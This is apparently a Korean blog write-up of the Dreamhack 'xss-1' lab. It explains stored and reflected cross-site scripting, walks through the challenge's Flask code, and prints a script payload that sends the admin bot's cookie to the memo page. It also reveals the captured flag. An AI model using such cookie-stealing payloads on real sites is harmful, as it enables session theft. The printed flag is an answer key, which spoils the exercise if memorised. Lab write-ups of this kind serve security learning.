728x90

XSS란?

XSS란?

크로스 사이트 스크립팅은 공격자가 희생자의 브라우저에 스크립트가 실행되도록 하여 사용자의 쿠키나 세션 등을 탈취하는 공격이다. 공격 방식에 따라 Stored XSS, Reflected XSS가 있다.

Stored XSS는 공격자가 게시판의 게시글에 스크립트를 저장하여 희생자가 게시글을 요청하면 서버는 스크립트가 포함된 게시글을 돌려주고 희생자의 브라우저에서 스크립트가 실행된다.

Reflected XSS는 스크립트가 포함된 링크를 클릭하면 스크립트가 포함된 요청이 전송되고, 서버로부터 스크립트가 포함된 HTML 문서를 수신함으로써 브라우저에서 스크립트가 실행된다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 함수에서 FLAG가 등장한다. 다른 함수가 flag 함수를 호출하는 것도 아니라서 flag 함수에서 출발해 본다.

flag 함수는 내부에서 check_xss 함수를 호출한다. 인자에 FLAG가 존재한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

urlib.parse.quote(param)은 param을 URL 인코딩한다. url 문자열은 웹 사이트의 vuln(xss) page에서 param의 인자를 입력하는 행위다. 그리고 read_url 함수를 호출한다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

read_url 함수는 쿠키를 추가해서 인자로 전달한 url 창을 띄웠다가 닫는다.

xss-1 웹 사이트를 보면 vuln(xss) page, memo, flag가 있다.

vuln(xss) page는 XSS 공격이 가능하다. 접속하자마자 1이 뜬다.

memo에서는 접속할 때마다 hello만 하나씩 출력이 추가되며 XSS는 통하지 않는다.

flag는 check_xss함수를 호출하고 check_xss 함수를 보면 vuln(xss) page에 인자값을 전달한다.

FLAG 값이 flag 함수에서 등장하여 cookie 인자로 check_xss로 전달되고 read_url 함수에서 driver.add_cookie 함수에 의해 쿠키값으로 추가된다. 이때 쿠키 값을 memo 페이지에 기록하면 memo 페이지에서 다음과 같이 FLAG 값을 볼 수 있다.

flag 페이지에 접속하여 다음과 같이 입력한다.

<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie</script>

javascript 문인데 location.href 뒤에 등장하는 memo 페이지로 리다이렉션 되며 memo 파라미터로 쿠키값을 전달한다. flag 함수에서 등장한 FLAG 값이 check_xss 함수를 거쳐 read_url 함수에서 쿠키에 FLAG를 저장하였기 때문에 document.cookie를 이용해 쿠키를 출력한다. memo 페이지에 접속하면 FLAG가 보인다.

hello
flag=DH{2c01577e9542ec24d68ba0ffb846508e}
hello

flag 함수의 인자로 http://host3.dreamhack.games:포트번호 형태가 아닌 http://127.0.0.1:8000을 줬는지, 또는 flag 함수에 <script>alert(document.cookie)</script>를 입력하면 안 풀리는 이유는 127.0.0.1이 내 ip가 아닌 서버를 실행시킨 admin의 ip이기 때문이다. 첫 번째 경우는 127.0.0.1을 이용함으로써 admin의 쿠키 값에 추가된 flag를 memo 페이지에 출력할 수 있으며 두 번째 경우는 alert 창은 admin의 PC에 뜰 것이다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
simple_sqli  (0) 2023.02.07
cookie  (0) 2023.02.07

+ Recent posts